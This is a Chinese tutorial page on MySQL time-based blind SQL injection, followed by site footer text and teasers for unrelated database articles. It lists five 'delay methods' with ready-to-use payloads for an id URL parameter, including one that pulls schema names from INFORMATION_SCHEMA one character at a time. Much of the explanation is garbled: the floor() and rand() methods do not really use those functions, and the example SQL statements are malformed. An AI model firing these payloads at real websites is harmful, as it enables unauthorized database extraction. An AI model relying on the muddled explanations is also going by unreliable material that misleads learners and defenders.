MySQL时间盲注的五种延时方法实现

MySQL 时间盲注是一种比较常见的注入技巧,指的是在注入的过程中无法直接获取数据,但可以通过延时等方式判断 SQL 查询是否满足条件。下面将详细介绍 MySQL 时间盲注的五种延时方法和实现步骤。

1. sleep() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 判断当前数据是否符合预期条件,如果不符合时,发出如下 SQL 语句来实现延时 select sleep(5) where 1=1;,其中 sleep(5) 指延时 5 秒,where 1=1 代表恒成立。
  3. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || sleep(5) || '--+'
  2. 判断当前数据是否符合预期条件,如果不符合,发出如下 SQL 语句:select sleep(5) where id=-1 || sleep(5)
  3. 根据注入结果判断是否延时生效。

2. benchmark() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 假设我们要延时 5 秒,那么构造语句如下:select benchmark(5000000,md5('test')),其中 5000000 代表要执行的次数,md5('test') 可以用其他函数代替。
  3. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || benchmark(5000000,md5('test')) || '--+'
  2. 判断当前数据是否符合预期条件,如果不符合,发出如下 SQL 语句:select benchmark(5000000,md5('test')) where id=-1 || benchmark(5000000,md5('test'))
  3. 根据注入结果判断是否延时生效。

3. floor() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 通过 floor() 函数取整数部分,将根据所取的整数部分判断延时的时间。
  3. 如果想让结果为 N,那么可以使用以下语句来实现延时:select floor((select * from (select sleep(5)) a)) from test where id=N
  4. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=N)) || floor((select * from (select sleep(5)) a)) || '--+',其中 N 为数字。
  2. 发出如下 SQL 语句:select floor((select * from (select sleep(5)) a)) from test where id=N || floor((select * from (select sleep(5)) a))
  3. 根据注入结果判断是否延时生效。

4. DIV 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 使用 DIV 取整函数和效率高的查询语句来实现延时,公式如下:(SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1)
  3. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || (SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1) || '--+'
  2. 发出如下 SQL 语句:(SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1) where id = -1 || (SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1)
  3. 根据注入结果判断是否延时生效。

5. rand() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 使用 rand() 函数随机获取一定范围内的数字,来判断延时的时间。
  3. 如果想要延时 5 秒,可以使用以下语句来实现:SELECT IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > 97,BENCHMARK(9999999,MD5(0x41)),1)
  4. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || if(ascii(substr(database(),1,1)) > N,benchmark(5000000,md5('test')),0) || '--+',其中 N 为 ASCII 码值。
  2. 发出如下 SQL 语句:SELECT IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > N,BENCHMARK(9999999,MD5(0x41)),1) where id = -1 || IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > N,BENCHMARK(9999999,MD5(0x41)),1)
  3. 根据注入结果判断是否延时生效。

以上就是 MySQL 时间盲注的五种延时方法和实现步骤,通过这些方法可以更进一步地了解和应用时间盲注技巧。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:MySQL时间盲注的五种延时方法实现 - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • Firebase 和 MongoDB 的区别

    Firebase 和 MongoDB 都是非常流行的数据库系统,但它们之间还是有几个显著的区别。在使用这两个平台之前,了解这些差异对于选择哪一个更适合你的应用程序至关重要。 1. 数据结构 Firebase 采用面向文档的数据结构,数据以 JSON 格式存储。这意味着你可以使用嵌套文档和数组,并在高效的查询和读取中使用这些对象。MongoDB 也支持面向文档…

    database 2023年3月27日
    00
  • 关于oracle逻辑备份exp导出指定表名时需要加括号的问题解析

    关于Oracle逻辑备份exp导出指定表名时需要加括号的问题解析 在使用Oracle数据库进行备份时,可以采用逻辑备份进行数据的导出。在导出某个表的数据时,需要加上扩起来的表名,即对表名加上括号,例如:exp user/[password] tables=(employee) file=employee.dmp。 原因解析 导出数据时,需要使用exp命令,并…

    database 2023年5月22日
    00
  • 远程登录MySQL服务(小白入门篇)

    让我来详细讲解“远程登录MySQL服务(小白入门篇)”的完整攻略。 远程登录MySQL服务(小白入门篇) 前置条件 在开始之前,需要确保以下条件已满足: 拥有MySQL服务器的访问权限。 已经开启MySQL服务器的远程访问权限。 配置步骤 下面是远程登录MySQL服务的详细攻略: 步骤1:打开终端 在开始之前,需要打开命令行终端。在 Windows 操作系统…

    database 2023年5月22日
    00
  • 浅谈Mysql insert on duplicate key 死锁问题定位与解决

    浅谈Mysql insert on duplicate key 死锁问题定位与解决 问题描述 在MySQL中,执行insert操作时,可以使用on duplicate key来进行唯一键冲突时的处理。但是,当多个线程并发地执行insert操作的时候,可能会出现死锁问题。 定位死锁问题 当出现死锁问题时,可以使用show processlist命令查看正在执行…

    database 2023年5月21日
    00
  • linux中了minerd之后的完全清理过程(详解)

    Linux中清理MinerD的完整攻略 在Linux系统中,MinerD是一个常见的恶意软件,它会利用计算机的CPU或GPU来进行挖矿操作,导致计算机性能下降,甚至造成硬件损坏。以下是完整的清理攻略。 1. 停止MinerD进程 首先需要停止MinerD进程,以释放CPU或GPU资源。可以通过以下命令查看进程列表: ps -A |grep minerd 若能…

    database 2023年5月22日
    00
  • springboot中通过lua脚本来获取序列号的方法

    来讲一下 Spring Boot 中通过 Lua 脚本来获取序列号的方法。 1. 确定需求和思路 在开始实现前,我们需要确定需求和大致思路。根据需求,我们需要在 Spring Boot 应用中通过 Lua 脚本来获取序列号。而大致思路如下: 首先,我们需要在 Spring Boot 应用中引入 LuaJ 库,通过该库来运行 Lua 脚本。 然后,我们需要编写…

    database 2023年5月22日
    00
  • MySQL和MongoDB设计实例对比分析

    MySQL和MongoDB设计实例对比分析 引言 MySQL和MongoDB是两个非常流行的数据库管理系统。MySQL是一个关系型数据库管理系统,最初由瑞典MySQL AB开发,现已成为Oracle Corporation的一部分。MongoDB是一种文档数据库管理系统,由MongoDB Inc开发并维护。本文将比较这两个数据库系统在设计和实现方面的差异,并…

    database 2023年5月21日
    00
  • MySql连接数据库常用参数及代码解读

    让我来详细讲解”MySql连接数据库常用参数及代码解读”的完整攻略。 什么是MySql数据库 MySQL 是一种开源数据库管理系统,利用 SQL 进行数据的管理,MySQL 开始开发时,主要是为了服务于大型软件的网站,作为 web 应用程序的后台数据库。随着互联网服务的普及,MySQL 也已成为最流行的开源数据库之一。 连接MySQL数据库 使用 MySQL…

    database 2023年5月22日
    00
合作推广
合作推广
分享本页
返回顶部